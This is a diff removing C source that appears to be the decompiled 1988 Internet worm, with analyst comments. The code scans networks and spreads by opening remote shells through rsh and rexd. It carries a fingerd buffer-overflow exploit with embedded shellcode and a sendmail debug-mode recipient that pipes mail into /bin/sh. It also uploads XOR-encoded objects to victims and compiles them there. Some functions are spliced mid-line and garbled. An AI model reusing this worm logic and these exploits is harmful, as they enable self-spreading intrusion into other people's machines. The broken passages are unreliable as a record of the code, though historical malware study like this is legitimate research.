-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-#include 
-
-extern struct hst *h_addr2host(), *h_name2host();
-extern int  justreturn();
-extern int errno;
-extern char *malloc();
-
-int alarmed = 0;
-int ngateways, *gateways;
-struct hst *me, *hosts;
-
-int nifs;
-struct ifses ifs[30];				/*  Arbitrary number, fix */
-
-/* Clean hosts not contacted from the host list. */
-h_clean()					/* 0x31f0 */
-{
-    struct hst *newhosts, *host, *next;
-    
-    newhosts = NULL;
-    for (host = hosts; host != NULL; host = next) {
-	next = host->next;
-	host->flag &= -7;
-	if (host == me || host->flag != 0) {
-	    host->next = newhosts;
-	    newhosts = host;
-	} else
-	    free(host);
-    }
-    hosts = newhosts;
-}
-
-/* Look for a gateway we can contact. */
-hg()				/* 0x3270, check again */
-{
-    struct hst *host;
-    int i;
-    
-    rt_init();
-    
-    for (i = 0; i < ngateways; i++) {		/* 24, 92 */
-	host = h_addr2host(gateways[i], 1);
-	if (try_rsh_and_mail(host))
-	    return 1;
-    }
-    return 0;
-}
-
-ha()						/* 0x32d4, unchecked */
-{
-    struct hst *host;
-    int i, j, k;
-    int l416[100];
-    int l420;
-    
-    if (ngateways < 1)
-	rt_init();
-    j = 0;
-    for (i = 0; i < ngateways; i++) {		/* 40, 172 */
-	host = h_addr2host(gateways[i], 1);
-	for (k = 0; k < 6; k++) {		/* 86, 164 */
-	    if (host->o48[k] == 0)
-		continue;			/* 158 */
-	    if (try_telnet_p(host->o48[k]) == 0)
-		continue;
-	    l416[j] = host->o48[k];
-	    j++;
-	}
-    }
-    
-    permute(l416, j, sizeof(l416[0]));
-    
-    for (i = 0; i < j; i++) {			/* 198, 260 */
-	if (hi_84(l416[i] & netmaskfor(l416[i])))
-	    return 1;
-    }
-    return 0;
-}
-
-hl()						/* 0x33e6 */
-{
-    int i;
-    
-    for (i = 0; i < 6; i++) {			/* 18, 106 */
-	if (me->o48[i] == 0)
-	    break;
-	if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
-	    return 1;
-    }
-    return 0;
-}
-
-hi()						/* 0x3458 */
-{
-    struct hst *host;
-    
-    for (host = hosts; host; host = host->next )
-	if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
-	    return 1;
-    return 0;
-}
-
-hi_84(arg1)					/* 0x34ac */
-{
-    int l4;
-    struct hst *host;
-    int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
-    int netaddrs[2048];
-    
-    l12 = netmaskfor(arg1);
-    l16 = ~l12;
-    
-    for (i = 0; i < nifs; i++) {		/* 128,206 */
-	if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
-	    return 0;				/* 624 */
-    }
-    
-    adr_index = 0;
-    if (l16 == 0x0000ffff) {			/* 330 */
-	l44 = 4;
-	for (l40 = 1; l40 < 255; l40++)		/* 236,306 */
-	    for (l20 = 1; l20 <= 8; l20++)	/* 254,300 */
-		netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
-	permute(netaddrs, adr_index, sizeof(netaddrs[0]));
-    } else {					/* 432 */
-	l44 = 4;
-	for (l20 = 1; l20 < 255; l20++)
-	    netaddrs[adr_index++] = (arg1 | l20);
-	permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
-	permute(netaddrs, adr_index - 6, 4);
-    }
-    if (adr_index > 20)
-	adr_index = 20;
-    for (l36 = 0; l36 < adr_index; l36++) {	/* 454,620 */
-	l4 = netaddrs[l36];
-	host = h_addr2host(l4, 0);
-	if (host == NULL || (host->flag & 0x02) == 0)
-	    continue;
-	if (host == NULL || (host->flag & 0x04) == 0 ||
-	    command_port_p(l4, l44) == 0)
-	    continue;
-	if (host == NULL)
-	    host = h_addr2host(l4, 1);
-	if (try_rsh_and_mail(host))
-	    return 1;
-    }
-    return 0;
-}
-
-/* Only called in the function above */
-static command_port_p(addr, time)		/* x36d2,  */
-     u_long addr;
-     int time;
-{
-    int s, connection;					/* 28 */
-    struct sockaddr_in sin;			/* 16 bytes */
-    int (*save_sighand)();
-    
-    s = socket(AF_INET, SOCK_STREAM, 0);
-    if (s < 0)
-	return 0;
-    bzero(&sin, sizeof(sin));
-    sin.sin_family = AF_INET;
-    sin.sin_addr.s_addr = addr;
-    sin.sin_port = IPPORT_CMDSERVER;		/* Oh no, not the command server... */
-    
-    save_sighand = signal(SIGALRM, justreturn);		/* Wakeup if it fails */
-    
-    /* Set up a timeout to break from connect if it fails */
-    if (time < 1)
-	time = 1;
-    alarm(time);
-    connection = connect(s, &sin, sizeof(sin));
-    alarm(0);
-    
-    close(s);
-    
-    if (connection < 0 && errno == ENETUNREACH)
-	error("Network unreachable");
-    return connection != -1;
-}
-
-static try_telnet_p(addr)			/* x37b2 , checked */
-     u_long addr;
-{
-    int s, connection;					/* 28 */
-    struct sockaddr_in sin;			/* 16 bytes */
-    int (*save_sighand)();
-    
-    s = socket(AF_INET, SOCK_STREAM, 0);
-    if (s < 0)
-	return 0;
-    bzero(&sin, sizeof(sin));
-    sin.sin_family = AF_INET;
-    sin.sin_addr.s_addr = addr;
-    sin.sin_port = IPPORT_TELNET;		/* This time try telnet... */
-    
-    /* Set up a 5 second timeout, break from connect if it fails */
-    save_sighand = signal(SIGALRM, justreturn);
-    alarm(5);
-    connection = connect(s, &sin, sizeof(sin));
-    if (connection < 0  &&  errno == ECONNREFUSED) /* Telnet connection refused */
-	connection = 0;
-    alarm(0);					/* Turn off timeout */
-    
-    close(s);
-    
-    return connection != -1;
-}
-
-/* Used in hg(), hi(), and hi_84(). */
-static try_rsh_and_mail(host)				/* x3884,  */
-     struct hst *host;
-{
-    int fd1, fd2, result;
-    
-    if (host == me)
-	return 0;				/* 1476 */
-    if (host->flag & 0x02)
-	return 0;
-    if (host->flag & 0x04)
-	return 0;
-    if (host->o48[0] == 0 || host->hostname == NULL)
-	getaddrs(host);
-    if (host->o48[0] == 0) {
-	host->flag |= 0x04;
-	return 0;
-    }
-    other_sleep(1);
-    if (host->hostname  &&		/* 1352 */
-	fork_rsh(host->hostname, &fd1, &fd2,
-	      XS("exec /bin/sh"))) {		/*  */
-	result = talk_to_sh(host, fd1, fd2);
-	close(fd1);
-	close(fd2);
-	/* Prevent child from hanging around in the  state */
-	wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
-	if (result != 0)
-	    return result;
-    }
-    
-    if (try_finger(host, &fd1, &fd2)) {		/* 1440 */
-	result = talk_to_sh(host, fd1, fd2);
-	close(fd1);
-	close(fd2);
-	if (result != 0)
-	    return result;
-    }
-    if (try_mail(host))
-	return 1;
-    
-    host->flag |= 4;
-    return 0;
-}
-
-
-/* Check a2in() as it is updated */
-/* Used in twice in try_rsh_and_mail(), once in hu1(). */
-static talk_to_sh(host, fdrd, fdwr)		/* x3a20, Checked, changed */
-     struct hst *host;
-     int fdrd, fdwr;
-{
-    object *objectptr;
-    char send_buf[512];				/* l516 */
-    char print_buf[52];				/* l568 */
-    int l572, l576, l580, l584, l588,  l592;
-    
-    objectptr = getobjectbyname(XS("l1.c"));	/* env 200c9 */
-    
-    if (objectptr == NULL)
-	return 0;				/*  */
-    if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
-	return 0;
-    send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
-    send_text(fdwr, XS("cd /usr/tmp\n"));
-    l576 = random() % 0x00FFFFFF;
-    
-    sprintf(print_buf, XS("x%d.c"), l576);
-    /* The 'sed' script just puts the EOF on the transmitted program. */
-    sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"),
-	    print_buf);
-    
-    send_text(fdwr, send_buf);
-    
-    wait_for(fdrd, XS("gorch49"), 10);
-    
-    xorbuf(objectptr->buf, objectptr->size);
-    l572 = write(fdwr, objectptr->buf, objectptr->size);
-    xorbuf(objectptr->buf, objectptr->size);
-    
-    if (l572 != objectptr->size) {
-	close(l588);
-	return 0;				/* to  */
-    }
-    send_text(fdwr, XS("int zz;\n\n"));
-    wait_for(fdrd, XS("gorch50"), 30);
-    
-#define COMPILE  "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
-    sprintf(send_buf, XS(COMPILE), l576, l576, l576,
-	    inet_ntoa(a2in(l592)), l580, l584, l576, l576);
-    
-    
-    send_text(fdwr, send_buf);
-    
-    if (wait_for(fdrd, XS("DONE"), 100) == 0) {
-	close(l588);
-	return 0;				/*  */
-    }
-    return waithit(host, l592, l580, l584, l588);
-}
-
-makemagic(arg8, arg12, arg16, arg20, arg24)	/* checked */
-     struct hst *arg8;
-     int *arg12, *arg16, *arg20, *arg24;
-{
-    int s, i, namelen;
-    struct sockaddr_in sin0, sin1;		/* 16 bytes */
-    
-    *arg20 = random() & 0x00ffffff;
-    bzero(&sin1, sizeof(sin1));
-    sin1.sin_addr.s_addr = me->l12;
-    
-    for (i= 0; i < 6; i++) {			/* 64, 274 */
-	if (arg8->o48[i] == NULL)
-	    continue;				/* 266 */
-	s = socket(AF_INET, SOCK_STREAM, 0);
-	if (s < 0)
-	    return 0;				/* 470 */
-	bzero(&sin0, sizeof(sin0));
-	sin0.sin_family = AF_INET;
-	sin0.sin_port = IPPORT_TELNET;
-	sin0.sin_addr.s_addr = arg8->o48[i];
-	errno = 0;
-	if (connect(s, &sin0, sizeof(sin0)) != -1) {
-	    namelen = sizeof(sin1);
-	    getsockname(s, &sin1, &namelen);
-	    close(s);
-	    break;
-	}
-	close(s);
-    }
-    
-    *arg12 = sin1.sin_addr.s_addr;
-    
-    for (i = 0; i < 1024; i++) {		/* 286,466 */
-	s = socket(AF_INET, SOCK_STREAM, 0);
-	if (s < 0)
-	    return 0;				/* 470 */
-	bzero(&sin0, sizeof(sin0));
-	sin0.sin_family = AF_INET;
-	sin0.sin_port = random() % 0xffff;
-	if (bind(s, &sin0, sizeof(sin0)) != -1) {
-	    listen(s, 10);
-	    *arg16 = sin0.sin_port;
-	    *arg24 = s;
-	    return 1;
-	}
-	close(s);
-    }
-    
-    return 0;
-}
-
-/* Check for somebody connecting.  If there is a connection and he has the right
- * key, send out the
- * a complete set of encoded objects to it. */
-
-waithit(host, arg1, arg2, key, arg4)		/* 0x3e86 */
-     struct hst *host;
-{
-    int (*save_sighand)();
-    int l8, sin_size, l16, i, l24, l28;
-    struct sockaddr_in sin;			/* 44 */
-    object *obj;
-    char files[20][128];			/* File list, 2608 */
-    char *l2612;
-    char strbuf[512];
-    
-    save_sighand = signal(SIGPIPE, justreturn);
-    
-    sin_size = sizeof(sin);
-    alarm(2*60);
-    l8 = accept(arg4, &sin, &sin_size);
-    alarm(0);
-    
-    if (l8 < 0)
-	goto quit;				/* 1144 */
-    if (xread(l8, &l16, sizeof(l16), 10) != 4)
-	goto quit;
-    l16 = ntohl(l16);
-    if (key != l16)
-	goto quit;
-    for (i = 0; i < nobjects; i++) {	/* 164,432 */
-	obj = &objects[i];
-	l16 = htonl(obj->size);
-	write(l8, &l16, sizeof(l16));
-	sprintf(files[i], XS("x%d,%s"),
-		(random()&0x00ffffff), obj->name);
-	write(l8, files[i], sizeof(files[0]));
-	xorbuf(obj->buf, obj->size);
-	l24 = write(l8, obj->buf, obj->size);
-	xorbuf(obj->buf, obj->size);
-	if (l24 != obj->size)
-	    goto quit;
-    }
-    
-    /* Get rid of my client's key, and tell him the list has ended. */
-    l16 = -1;
-    if (write(l8, &l16, sizeof(l16)) != 4)
-	goto quit;
-    
-    /* Don't run up the load average too much... */
-    sleep(4);
-    
-    if (test_connection(l8, l8, 30) == 0)
-	goto quit;
-    send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
-    send_text(l8, XS("rm -f sh\n"));
-    
-    sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
-	    random()&0x00ffffff);
-    send_text(l8, strbuf);
-    
-    for (i = 0; i < nobjects; i++) {	/* 636,1040 */
-	if ((l2612 = index(files[i], '.')) == NULL ||
-	    l2612[1] != 'o')
-	    continue;
-	sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
-	send_text(l8, strbuf);
-	if (test_connection(l8, l8, 30) == 0)
-	    goto quit;				/* 1144 */
-	sprintf(strbuf, XS("./$P -p $$ "));
-	for(l28 = 0; l28 < nobjects; l28++) {	/* 820,892 */
-	    strcat(strbuf, files[l28]);
-	    strcat(strbuf, XS(" "));
-	}
-	strcat(strbuf, XS("\n"));
-	send_text(l8, strbuf);
-	if (test_connection(l8, l8, 10) == 0) {
-	    close(l8);
-	    close(arg4);
-	    host->flag |= 2;
-	    return 1;				/* 1172 */
-	}
-	send_text(l8, XS("rm -f $P\n"));
-    }
-    
-    for (i = 0; i < nobjects; i++) {	/* 1044,1122 */
-	sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
-	send_text(l8, strbuf);
-    }
-    test_connection(l8, l8, 5);
- quit:
-    close(l8);
-    close(l24);
-    return 0;
-}
-
-/* Only called from within mail */
-static compile_slave(host, s, arg16, arg20, arg24) /* x431e,  */
-     struct hst host;
-{     
-    object *obj;
-    char buf[512];				/* 516 */
-    char cfile[56];				/* 568 */
-    int wr_len, key;				/* might be same */
-    
-    obj = getobjectbyname(XS("l1.c"));
-    if (obj == NULL)
-	return 0;				/* 1590 */
-    send_text(s, XS("cd /usr/tmp\n"));
-    
-    key = (random() % 0x00ffffff);
-    sprintf(cfile, XS("x%d.c"), key);
-    sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
-    send_text(s, buf);
-    
-    xorbuf(obj->buf, obj->size);
-    wr_len = write(s, obj->buf, obj->size);
-    xorbuf(obj->buf, obj->size);
-    
-    if (wr_len != obj->size)
-	return 0;
-    send_text(s, XS("EOF\n"));
-    
-    sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
-	    key, key, key,
-	    inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
-    return send_text(s, buf);
-}
-
-static send_text(fd, str)			/* 0x44c0,  */
-     char *str;
-{
-    write(fd, str, strlen(str));
-}
-
-/* Used in try_rsh_and_mail(). */
-static fork_rsh(host, fdp1, fdp2, str)		/* 0x44f4,  */
-     char *host;
-     int *fdp1, *fdp2;
-     char *str;
-{
-    int child;					/* 4 */
-    int fildes[2];				/* 12 */
-    int fildes1[2];				/* 20 */
-    int fd;
-    
-    if (pipe(fildes) < 0)
-	return 0;
-    if (pipe(fildes1) < 0) {
-	close(fildes[0]);
-	close(fildes[1]);
-	return 0;
-    }
-    
-    child = fork();
-    if (child < 0) {				/* 1798 */
-	close(fildes[0]);
-	close(fildes[1]);
-	close(fildes1[0]);
-	close(fildes1[1]);
-	return 0;
-    }
-    if (child == 0) {				/* 2118 */
-	for (fd = 0; fd < 32; fd++)
-	    if (fd != fildes[0] &&
-		fd != fildes1[1] &&
-		fd != 2)
-		close(fd);
-	dup2(fildes[0], 0);
-	dup2(fildes[1], 1);
-	if (fildes[0] > 2)
-	    close(fildes[0]);
-	if (fildes1[1] > 2)
-	    close(fildes1[1]);
-	/* 'execl()' does not return if it suceeds. */
-	execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
-	execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
-	execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
-	exit(1);
-    }
-    close(fildes[0]);
-    close(fildes1[1]);
-    *fdp1 = fildes1[0];
-    *fdp2 = fildes[1];
-    
-    if (test_connection(*fdp1, *fdp2, 30))
-	return 1;				/* Sucess!!! */
-    close(*fdp1);
-    close(*fdp2);
-    kill(child, 9);
-    /* Give the child a chance to die from the signal. */
-    sleep(1);
-    wait3(0, WNOHANG, 0);
-    return 0;
-}
-
-static test_connection(rdfd, wrfd, time)			/* x476c, */
-     int rdfd, wrfd, time;
-{
-    char combuf[100], numbuf[100];
-    
-    sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
-    sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
-    send_text(wrfd, combuf);
-    return wait_for(rdfd, numbuf, time);
-}
-
-static wait_for(fd, str, time)			/*  */
-     int fd, time;
-     char *str;
-{
-    char buf[512];
-    int i, length;
-    
-    length = strlen(str);
-    while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
-	for(i = 0; buf[i]; i++) {
-	    if (strncmp(str, &buf[i], length) == 0)
-		return 1;
-	}
-    }
-    return 0;
-}
-
-/* Installed as a signal handler */
-justreturn(sig, code, scp)					/* 0x4872 */
-     int sig, code;
-     struct sigcontext *scp;
-{
-    alarmed = 1;
-}
-
-static x488e(fd, buf, num_chars, maxtime)
-     int fd, num_chars, maxtime;
-     char *buf;
-{	
-    
-    int i, l8, readfds;
-    struct timeval timeout;
-    
-    for (i = 0; i < num_chars; i++) {		/* 46,192 */
-	readfds = 1 << fd;
-	timeout.tv_usec = maxtime;
-	timeout.tv_sec = 0;
-	if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
-	    return 0;
-	if (readfds == 0)
-	    return 0;
-	if (read(fd, &buf[i], 1) != 1)
-	    return 0;
-	if (buf[i] == '\n')
-	    break;
-    }
-    buf[i] = '\0';
-    if (i > 0 && l8 > 0)
-	return 1;
-    return 0;
-}
-
-/* This doesn't appear to be used anywhere??? */
-static char *movstr(arg0, arg1)			/* 0x4958, */
-     char *arg0, *arg1;
-{
-    arg1[0] = '\0';
-    if (arg0 == 0)
-	return 0;
-    while( ! isspace(*arg0))
-	arg0++;
-
-    if (*arg0 == '\0')
-        return 0;
-    while(*arg0) {
-	if (isspace(*arg0)) break;
-	*arg1++ = *arg0++;
-    }
-    *arg1 = '\0';
-    return arg0;
-}
-
-/* 
-From Gene Spafford 
-What this routine does is actually kind of clever.  Keep in
-mind that on a Vax the stack grows downwards.
-
-fingerd gets its input via a call to gets, with an argument
-of an automatic variable on the stack.  Since gets doesn't
-have a bound on its input, it is possible to overflow the
-buffer without an error message.  Normally, when that happens
-you trash the return stack frame.  However, if you know
-where everything is on the stack (as is the case with a
-distributed binary like BSD), you can put selected values
-back in the return stack frame.
-
-This is what that routine does.  It overwrites the return frame
-to point into the buffer that just got trashed.  The new code
-does a chmk (change-mode-to-kernel) with the service call for
-execl and an argument of "/bin/sh".  Thus, fingerd gets a
-service request, forks a child process, tries to get a user name
-and has its buffer trashed, does a return, exec's a shell,
-and then proceeds to take input off the socket -- from the
-worm on the other machine.  Since many sites never bother to
-fix fingerd to run as something other than root.....
-
-Luckily, the code doesn't work on Suns -- it just causes it
-to dump core.
-
---spaf
-
-*/    
-
-/* This routine exploits a fixed 512 byte input buffer in a VAX running
- * the BSD 4.3 fingerd binary.  It send 536 bytes (plus a newline) to
- * overwrite six extra words in the stack frame, including the return
- * PC, to point into the middle of the string sent over.  The instructions
- * in the string do the direct system call version of execve("/bin/sh"). */
-
-static try_finger(host, fd1, fd2)		/* 0x49ec,o48[i] == 0)
-	    continue;				/* 600 */
-	s = socket(AF_INET, SOCK_STREAM, 0);
-	if (s < 0)
-	    continue;
-	bzero(&sin, sizeof(sin));
-	sin.sin_family = AF_INET;
-	sin.sin_addr.s_addr = host->o48[i];
-	sin.sin_port = IPPORT_FINGER;
-
-	alarm(10);
-	if (connect(s, &sin, sizeof(sin)) < 0) {
-	    alarm(0);
-	    close(s);
-	    continue;
-	}
-	alarm(0);
-	break;
-    }
-    if (i >= 6)
-	return 0;				/* 978 */
-    for(i = 0; i < 536; i++)			/* 628,654 */
-	buf[i] = '\0';
-    for(i = 0; i < 400; i++)
-	buf[i] = 1;
-    for(j = 0; j < 28; j++)
-	buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];			/* constant string x200a0 */
-
-    /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
-    /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */
-
-    l556 = 0x7fffe9fc;				/* Rewrite part of the stack frame */
-    l560 = 0x7fffe8a8;
-    l564 = 0x7fffe8bc;
-    l568 = 0x28000000;
-    l552 = 0x0001c020;
-
-#ifdef sun
-    l556 = byte_swap(l556);			/* Reverse the word order for the */
-    l560 = byte_swap(l560);			/* VAX (only Suns have to do this) */
-    l564 = byte_swap(l564);
-    l568 = byte_swap(l568);
-    l552 = byte_swap(l552);
-#endif sun
-
-    write(s, buf, sizeof(buf));			/* sizeof == 536 */
-    write(s, XS("\n"), 1);
-    sleep(5);
-    if (test_connection(s, s, 10)) {
-	*fd1 = s;
-	*fd2 = s;
-	return 1;
-    }
-    close(s);
-    return 0;
-}
-
-static byte_swap(arg)			/* 0x4c48,> 8;
-	j++;
-    }
-    return i;
-}
-
-permute(ptr, num, size)			/* 0x4c9a */
-     char *ptr;
-     int num, size;
-{
-    int i, newloc;
-    char buf[512];
-
-    for (i = 0; i < num*size; i+=size) {	/* 18,158 */
-	newloc = size * (random() % num);
-	bcopy(ptr+i, buf, size);
-	bcopy(ptr+newloc, ptr+i, size);
-	bcopy(buf, ptr+newloc, size);
-    }
-}
-
-
-/* Called from try_rsh_and_mail() */
-static try_mail(host)				/* x4d3c */
-     struct hst *host;
-{
-    int i, l8, l12, l16, s;
-    struct sockaddr_in sin;			/* 16 bytes */
-    char l548[512];
-    int (*old_handler)();
-    struct sockaddr saddr;			/* Not right */
-    int fd_tmp;					/* ???  part of saddr */
-    
-    if (makemagic(host, &saddr) == 0)
-	return 0;				/*  */
-    old_handler = signal(SIGALRM, justreturn);
-    for( i = 0; i < 6; i++) {			/* to 430 */
-	if (host->o48[i] == NULL)
-	    continue;				/* to 422 */
-	s = socket(AF_INET, SOCK_STREAM, 0);
-	if (s < 0)
-	    continue;				/* to 422 */
-	
-	bzero(&sin, sizeof(sin));		/* 16 */
-	sin.sin_family = AF_INET;
-	sin.sin_addr.s_addr = host->o48[i];
-	sin.sin_port = IPPORT_SMTP;
-	
-	alarm(10);
-	if (connect(s, &sin, sizeof(sin)) < 0) {
-	    alarm(0);
-	    close(s);
-	    continue;				/* to 422 */
-	}
-	alarm(0);
-	break;
-    }
-    
-    if (i < 6)
-	return 0;				/* 1054 */
-    if (x50bc( s, l548) != 0 || l548[0] != '2')
-	goto bad;
-    
-    send_text(s, XS("debug"));		/* "debug" */
-    if (x50bc( s, l548) != 0 || l548[0] != '2')
-	goto bad;
-    
-#define MAIL_FROM "mail from:\n"
-#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
-    
-    send_text(s, XS(MAIL_FROM));
-    if (x50bc( s, l548) != 0 || l548[0] != '2')
-	goto bad;
-    i = (random() & 0x00FFFFFF);
-    
-    sprintf(l548, XS(MAIL_RCPT), i, i);
-    send_text(s, l548);
-    if (x50bc( s, l548) != 0 || l548[0] != '2')
-	goto bad;
-    
-    send_text(s, XS("data\n"));
-    if (x50bc( s, l548) == 0 || l548[0] != '3')
-	goto bad;
-    
-    send_text(s, XS("data\n"));
-    
-    compile_slave(host, s, saddr);
-    
-    send_text(s, XS("\n.\n"));
-    
-    if (x50bc( s, l548) == 0 || l548[0] != '2') {
-	close(fd_tmp);				/* This isn't set yet!!! */
-	goto bad;
-    }
-    
-    send_text(s, XS("quit\n"));
-    if (x50bc( s, l548) == 0 || l548[0] != '2') {
-	close(fd_tmp);				/* This isn't set yet!!! */
-	goto bad;
-    }
-    
-    close(s);
-    return waithit(host, saddr);
- bad:
-    send_text(s, XS("quit\n"));
-    x50bc(s, l548);
-    close(s);
-    return 0;
-}
-
-/* Used only in try_mail() above.  This fills buffer with a line of the response */
-static x50bc(s, buffer)				/* x50bc,  */
-     int s;					/* socket */
-     char *buffer;
-{
-    /* Fill in exact code later.  It's pretty boring. */
-}
-
-
-/* I call this "huristic 1". It tries to breakin using the remote execution
- * service.  It is called from a subroutine of cracksome_1 with information from
- * a user's .forword file.  The two name are the original username and the one
- * in the .forward file.
- */
-hu1(alt_username, host, username2)		/* x5178 */
-     char *alt_username, *username2;
-     struct hst *host;
-{
-    char username[256];
-    char buffer2[512];
-    char local[8];
-    int result, i, fd_for_sh;			/* 780, 784, 788 */
-    
-    if (host == me)
-	return 0;				/* 530 */
-    if (host->flag & HST_HOSTTWO)			/* Already tried ??? */
-	return 0;
-    
-    if (host->o48[0] || host->hostname == NULL)
-	getaddrs(host);
-    if (host->o48[0] == 0) {
-	host->flag |= HST_HOSTFOUR;
-	return 0;
-    }
-    strncpy(username, username2, sizeof(username)-1);
-    username[sizeof(username)-1] = '\0';
-    
-    if (username[0] == '\0')
-	strcpy(username, alt_username);
-    
-    for (i = 0; username[i]; i++)
-	if (ispunct(username[i]) || username[i] < ' ')
-	    return 0;
-    other_sleep(1);
-    
-    fd_for_sh = x538e(host, username, &alt_username[30]);
-    if (fd_for_sh >= 0) {
-	result = talk_to_sh(host, fd_for_sh, fd_for_sh);
-	close(fd_for_sh);
-	return result;
-    }
-    if (fd_for_sh == -2)
-	return 0;
-    
-    fd_for_sh = x538e(me, alt_username, &alt_username[30]);
-    if (fd_for_sh >= 0) {
-	sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
-		host->hostname, username);
-	send_text(fd_for_sh, buffer2);
-	sleep(10);
-	result = 0;
-	if (test_connection(fd_for_sh, fd_for_sh, 25))	/* 508 */
-	    result = talk_to_sh(host, fd_for_sh, fd_for_sh);
-	close(fd_for_sh);
-	return result;
-    }
-    return 0;
-}
-
-/* Used in hu1.  Returns a file descriptor. */
-/* It goes through the six connections in host trying to connect to the
- * remote execution server on each one.
- */
-static int x538e(host, name1, name2)
-     struct hst *host;
-     char *name1, *name2;
-{
-    int s, i;
-    struct sockaddr_in sin;			/* 16 bytes */
-    int l6, l7;
-    char in_buf[512];
-    
-    for (i = 0; i < 6; i++) {			/* 552,762 */
-	if (host->o48[i] == 0)
-	    continue;				/* 754 */
-	s = socket(AF_INET, SOCK_STREAM, 0);
-	if (s < 0)
-	    continue;
-	
-	bzero(&sin, sizeof(sin));		/* 16 */
-	sin.sin_family = AF_INET;
-	sin.sin_addr.s_addr = host->o48[i];
-	sin.sin_port = IPPORT_EXECSERVER;	/* Oh shit, looking for rexd */
-	
-	alarm(8);
-	signal(SIGALRM, justreturn);
-	if (connect(s, &sin, sizeof(sin)) < 0) {
-	    alarm(0);
-	    close(s);
-	    continue;
-	}
-	alarm(0);
-	break;
-    }
-    if (i >= 6)
-	return -2;				/* 1048 */
-    /* Check out the connection by writing a null */
-    if (write(s, XS(""), 1) == 1) {
-	/* Tell the remote execution deamon the hostname, username, and to startup
-	   "/bin/sh". */
-	write(s, name1, strlen(name1) + 1);
-	write(s, name2, strlen(name2) + 1);
-	if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) &&
-	    xread(s, in_buf, 1, 20) == 1  &&
-	    in_buf[0] == '\0' &&
-	    test_connection(s, s, 40) != 0)
-	    return s;
-    }
-    close(s);
-    return -1;
-}
-
-/* Reads in a file and puts it in the 'objects' array.  Returns 1 if sucessful,
- * 0 if not. */
-loadobject(obj_name)				/* x5594 */
-     char *obj_name;
-{
-    int fd;
-    unsigned long size;
-    struct stat statbuf;
-    char *object_buf, *suffix;
-    char local[4];
-    
-    fd = open(obj_name, O_RDONLY);
-    if (fd < 0)
-	return 0;				/* 378 */
-    if (fstat(fd, &statbuf) < 0) {
-	close(fd);
-	return 0;
-    }
-    size = statbuf.st_size;
-    object_buf = malloc(size);
-    if (object_buf == 0) {
-	close(fd);
-	return 0;
-    }
-    if (read(fd, object_buf, size) != size) {
-	free(object_buf);
-	close(fd);
-	return 0;
-    }
-    close(fd);
-    xorbuf(object_buf, size);
-    suffix = index(obj_name, ',');
-    if (suffix != NULL)
-	suffix+=1;
-    else
-	suffix = obj_name;
-    objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix);
-    objects[nobjects].size = size;
-    objects[nobjects].buf = object_buf;
-    nobjects += 1;
-    return 1;
-}
-
-/* Returns the object from the 'objects' array that has name, otherwise NULL. */
-object *getobjectbyname(name)
-     char *name;
-{
-    int i;
-    
-    for (i = 0; i < nobjects; i++)
-	if (strcmp(name, objects[i].name) == 0)
-	    return &objects[i];
-    return NULL;
-}
-
-/* Encodes and decodes the binary coming over the socket. */
-xorbuf(buf, size)				/* 0x577e */
-     char *buf;
-     unsigned long size;
-{
-    char *addr_self;			/* The address of the xorbuf fuction */
-    int i;
-    
-    addr_self = (char *)xorbuf;
-    i = 0; 
-    while (size-- > 0) {
-	*buf++ ^= addr_self[i];
-	i = (i+1) % 10;
-    }
-    return;
-}
-
-
-static other_fd = -1;
-
-/* Make a connection to the local machine and see if I'm running in
-   another process by sending a magic number on a random port and waiting
-   five minutes for a reply. */
-checkother()					/* 0x57d0 */
-{
-    int s, l8, l12, l16, optval;
-    struct sockaddr_in sin;			/* 16 bytes */
-    
-    optval = 1;
-    if ((random() % 7) == 3)
-	return;					/* 612 */
-    
-    s = socket(AF_INET, SOCK_STREAM, 0);
-    if (s < 0)
-	return;
-    
-    /* Make a socket to the localhost, using a link-time specific port */
-    bzero(&sin, sizeof(sin));		/* 16 */
-    sin.sin_family = AF_INET;
-    sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /*  */
-    sin.sin_port = 0x00005b3d;			/* ??? */
-    
-    if (connect(s, &sin, sizeof(sin)) < 0) {
-	close(s);
-    } else {
-	l8 = MAGIC_2;			/* Magic number??? */
-	if (write(s, &l8, sizeof(l8)) != sizeof(l8)) {
-	    close(s);
-	    return;
-	}
